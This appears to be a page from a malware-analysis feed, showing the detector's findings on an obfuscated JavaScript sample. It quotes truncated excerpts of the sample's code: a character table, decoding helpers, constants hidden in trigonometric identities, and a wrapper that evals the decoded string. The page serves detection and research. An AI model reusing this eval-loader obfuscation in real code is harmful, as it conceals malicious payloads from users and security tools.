Suspicious 80% javascript-malware-collection Download

20151216_1298b34a7b075f4dbe75c8e634ebad6d.js

Heavily obfuscated eval payload

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression
SHA-2565564e42ef26f783127e287fa1beca257800eb91c2e1b5efa7e9b9347152208b7

Evidence

Builds characters with String.fromCharCode line 2
2:154… 't','(','X','D','=','N','H','9','2','j','C','$','>','w','6','I',String.fromCharCode(10),'T','W','<','5','0','S','!','@','=','T','U','I',String.fromCharCode(13),'M','H','d','O','#','t','h','V','(','#','q','.','S' …
Calls JavaScript toString conversion method lines 4–11
4:44… nUPoLO){WOKF=pNLwfxcRqDHrzPVkG(TKNSoJFHieH,hkhwpOEADzhEy);yOBjT=WOKF.toString(csnUPoLO);return yOBjT;}
5function VooeETFdTfeolhc(OhdFKikQqMdanGIEJ,CMBOWvISEjyBWtfEERbRQZdTQutBIXPsZC,VnvIMhtvJyFOZaUTKfQvJUrOIsSALGhSVkC){eval(OhdFKikQqMdanGIEJ);}
6function UydhswFYcfTsYHOaCKLlXkYlFVeHrexQMTmDvbVTQtTpDPUUjHJCUa(JhXcWhaTtKahy,bqOoPumDaVwRnu){ return fUBjgCm[XpEbyrQx[VatNn(JhXcWhaTtKahy[bqOoPumDaVwRnu],(25318+918)/937,(3637+373)/401)]];}
7function CrTNAsu(mdykKhUIvJBFdbVHbTwhqPyfIkSbBTMCtiUl) {return !ZWWYnBKwgFk(GWXYUkrDQOapQNl(mdykKhUIvJBFdbVHbTwhqPyfIkSbBTMCtiUl)) && EUWcJSvXewkN(mdykKhUIvJBFdbVHbTwhqPyfIkSbBTMCtiUl);}
8function ZWWYnBKwgFk(nRFBzhaCKWPZNY) {return isNaN(nRFBzhaCKWPZNY);}
9function EUWcJSvXewkN(EfKFOOYBBMrdD) {return isFinite(EfKFOOYBBMrdD);}
10function pNLwfxcRqDHrzPVkG(rsxKExQChW,fVmmTKtFQS) {return parseInt(rsxKExQChW,fVmmTKtFQS);}
11function GWX …
Dense indexed short-token grid lines 12–13
12:33… LpXxTez,OBObrUjwvJj) {RxKdoXKwvxrchs[wOijeYLpXxTez]=OBObrUjwvJj;}
13var k = new Array();k[0]=[];k[0][0]='d';k[0][1]='a';k[0][2]='d';k[0][3]='a';k[0][4]='46';k[0][5]='3d';k[0][6]='42';k[0][7]='14';k[0][8]='3m';k[0][9]='14';k[0][10]='25';k[0][11]='14';k[0][12]='16';k[0][13]='47';k[0][14]='3k';k[0][15]='3d';k[0][16]='44';k[0][17]='3g';k[0][18]='3l';k[0][19]='3g';k[0][20]='49';k[0][21]='3 …
Numeric sine-square obfuscation expression lines 19–22
19:30… ],k[4],k[5]];
20var lVssEhnBC=[];
21function dXXeeubcuBqaRJBDO(HzjKO){eLmDTlgxYCw= '';lmbZFqvpoLG=Math.round((Math.pow(Math.sin(689), 2) + Math.pow(Math.cos(689), 2) - 1));while(true){if (lmbZFqvpoLG >= (1576+554)/355){break;}lVssEhnBC[lmbZFqvpoLG]=Math.round((Math.pow(Math.sin(627), 2) + Math.pow(Math.cos(627), 2) - 1)); while(true) { if(lVssEhnBC[lmbZFqvpoLG] > HzjKO[lmbZFqvpoLG].length-(-514+833)/319) { break; } if (CrTNAsu(VatNn(HzjKO[lmbZFqvpoLG][lVssEhnBC[lmbZFqvpoLG]],(19812+488)/725,(5316+754)/607))) {eLmDTlgxYCw += UydhswFYcfTsYHOaCKLlXkYlFVeHrexQMTmDvbVTQtTpDPUUjHJCUa([HzjKO[lmbZFqvpoLG][lVssEhnBC[lmbZFqvpoLG]]], Math.round((Math.pow(Math.sin(972), 2) + Math.pow(Math.cos(972), 2) - 1)));} lVssEhnBC[lmbZFqvpoLG]++;}lmbZFqvpoLG++;} return eLmDTlgxYCw}
22var MIuiqmYFPPyNTlOIoZjHIaIXdCbRaSVPp = 'pCEAhpGqyHPAqcflalVfNNanJXatpXDoRzvB';var iHsoLSbpXHvkSWcHVhBtXacLuUMNHsOu = 'ifMqgugDQInTtEmikabYWxBkFYkIOXoZJiKJ';VooeETFdTfeolhc(dXXeeubcuBqaRJBDO(HzjKO),MIuiqmYFPPyNTlOIoZjHIaIXdCbRaSVPp,iHsoLSbpXHvkSWcHVhBt …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.